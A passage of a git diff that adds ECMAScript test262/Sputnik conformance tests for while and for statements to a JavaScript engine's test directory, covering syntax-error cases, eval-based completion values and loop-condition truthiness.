+ * @path ch12/12.6/12.6.2/S12.6.2_A6_T4.js
+ * @description Checking if execution of "while false break" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+while false break;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T5.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T5.js
new file mode 100644
index 000000000..e1b677741
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T5.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A6_T5.js
+ * @description Checking if execution of "while '' break" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+while '' break;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T6.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T6.js
new file mode 100644
index 000000000..78ce3abdb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A6_T6.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Expression in "while" IterationStatement is bracketed with braces
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A6_T6.js
+ * @description Checking if execution of "while 'hood' break" fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+while 'hood' break;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A7.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A7.js
new file mode 100644
index 000000000..5743cd6d4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A7.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The "while" Statement is evaluted according to 12.6.2 and returns (normal, V, empty)
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A7.js
+ * @description using eval
+ */
+
+var __condition=0
+
+__evaluated = eval("while (__condition<5) eval(\"__condition++\");");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__condition !== 5) {
+ $ERROR('#1: The "while" statement is evaluated as described in the Standard');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== 4) {
+ $ERROR('#2: The "while" statement returns (normal, V, empty)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A8.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A8.js
new file mode 100644
index 000000000..a5af5748d
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A8.js
@@ -0,0 +1,31 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "continue" statement within a "while" Statement is allowed
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A8.js
+ * @description using eval
+ */
+
+var __condition = 0, __odds=0;
+
+__evaluated = eval("while(__condition < 10) { __condition++; if (((''+__condition/2).split('.')).length>1) continue; __odds++;}");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (__odds !== 5) {
+ $ERROR('#1: __odds === 5. Actual: __odds ==='+ __odds );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__evaluated !== 4) {
+ $ERROR('#2: __evaluated === 4. Actual: __evaluated ==='+ __evaluated );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A9.js b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A9.js
new file mode 100644
index 000000000..f8cbed0a1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/S12.6.2_A9.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * "while" Statement is evaluated without syntax checks
+ *
+ * @path ch12/12.6/12.6.2/S12.6.2_A9.js
+ * @description Throwing system exception inside "while" loop
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try {
+ while(x!=1) {
+ var x = 1;
+ abaracadabara;
+ };
+ $ERROR('#1: "abbracadabra" lead to throwing exception');
+
+} catch (e) {
+ if (e instanceof Test262Error) throw e;
+}
+
+if (x !== 1) {
+ $ERROR('#1.1: while statement evaluates as is, without syntax checks');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/browser.js b/js/src/tests/test262/ch12/12.6/12.6.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/browser.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.2/shell.js b/js/src/tests/test262/ch12/12.6/12.6.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.2/shell.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-1.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-1.js
new file mode 100644
index 000000000..a0aa03156
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-1.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-1.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is an Object with value false
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var obj = { value: false };
+ for (var i = 0; obj; ) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-10.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-10.js
new file mode 100644
index 000000000..cc1cb63d6
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-10.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-10.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a String object (value is '1')
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var strObj = new String("1");
+ for (var i = 0; strObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-11.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-11.js
new file mode 100644
index 000000000..2bccf56df
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-11.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-11.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is undefined
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; undefined;) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-12.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-12.js
new file mode 100644
index 000000000..6698b966b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-12.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-12.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is null
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; null;) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-13.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-13.js
new file mode 100644
index 000000000..4e7d39333
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-13.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-13.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a boolean (value is false)
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; false;) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-14.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-14.js
new file mode 100644
index 000000000..865f68d77
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-14.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-14.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a number (value is NaN)
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; NaN;) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-15.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-15.js
new file mode 100644
index 000000000..8f85811f3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-15.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-15.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a number (value is +0)
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; +0;) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-16.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-16.js
new file mode 100644
index 000000000..20d03326e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-16.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-16.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a number (value is -0)
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; -0;) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-17.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-17.js
new file mode 100644
index 000000000..faca41566
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-17.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-17.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a number (value is a positive)
+ */
+
+
+function testcase() {
+ var accessed = false;
+ for (var i = 0; 2;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-18.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-18.js
new file mode 100644
index 000000000..8fc6251de
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-18.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-18.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a string (value is empty string)
+ */
+
+
+function testcase() {
+ var count = 0;
+ for (var i = 0; "";) {
+ count++;
+ }
+ return count === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-19.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-19.js
new file mode 100644
index 000000000..19dc79e05
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-19.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-19.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a string (value is 'undefined')
+ */
+
+
+function testcase() {
+ var accessed = false;
+ for (var i = 0; "undefined";) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-2.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-2.js
new file mode 100644
index 000000000..eaf600c6e
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-2.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-2.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a Boolean object
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var boolObj = new Boolean(false);
+ for (var i = 0; boolObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-20.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-20.js
new file mode 100644
index 000000000..6c8e61c59
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-20.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-20.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a string (value is 'null')
+ */
+
+
+function testcase() {
+ var accessed = false;
+ for (var i = 0; "null";) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-21.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-21.js
new file mode 100644
index 000000000..d83bd0b18
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-21.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-21.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a string (value is '1')
+ */
+
+
+function testcase() {
+ var accessed = false;
+ for (var i = 0; "1";) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-3.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-3.js
new file mode 100644
index 000000000..76f27f8bd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-3.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-3.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a Number object (value is NaN)
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var numObj = new Number(NaN);
+ for (var i = 0; numObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-4.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-4.js
new file mode 100644
index 000000000..81599d37b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-4.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-4.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a Number object (value is +0)
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var numObj = new Number(+0);
+ for (var i = 0; numObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-5.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-5.js
new file mode 100644
index 000000000..5a3199947
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-5.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-5.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a Number object (value is -0)
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var numObj = new Number(-0);
+ for (var i = 0; numObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-6.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-6.js
new file mode 100644
index 000000000..6f8ed9cd3
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-6.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-6.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a Number object (value is a positive)
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var numObj = new Number(12);
+ for (var i = 0; numObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-7.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-7.js
new file mode 100644
index 000000000..920911c94
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-7.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-7.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a String object (value is empty string)
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var strObj = new String("");
+ for (var i = 0; strObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-8.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-8.js
new file mode 100644
index 000000000..f087aa207
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-8.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
+ * @path ch12/12.6/12.6.3/12.6.3_2-3-a-ii-8.js
+ * @description The for Statement - (normal, V, empty) will be returned when first Expression is a String object (value is 'undefined')
+ */
+
+
+function testcase() {
+ var accessed = false;
+ var strObj = new String("undefined");
+ for (var i = 0; strObj;) {
+ accessed = true;
+ break;
+ }
+ return accessed;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-9.js b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-9.js
new file mode 100644
index 000000000..45ed58923
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.3/12.6.3_2-3-a-ii-9.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * Refer 12.6.3;
+ * The production
+ * IterationStatement : for ( var VariableDeclarationListNoIn ; Expressionopt ; Expressionopt ) Statement
+ * is evaluated as follows:
+ *
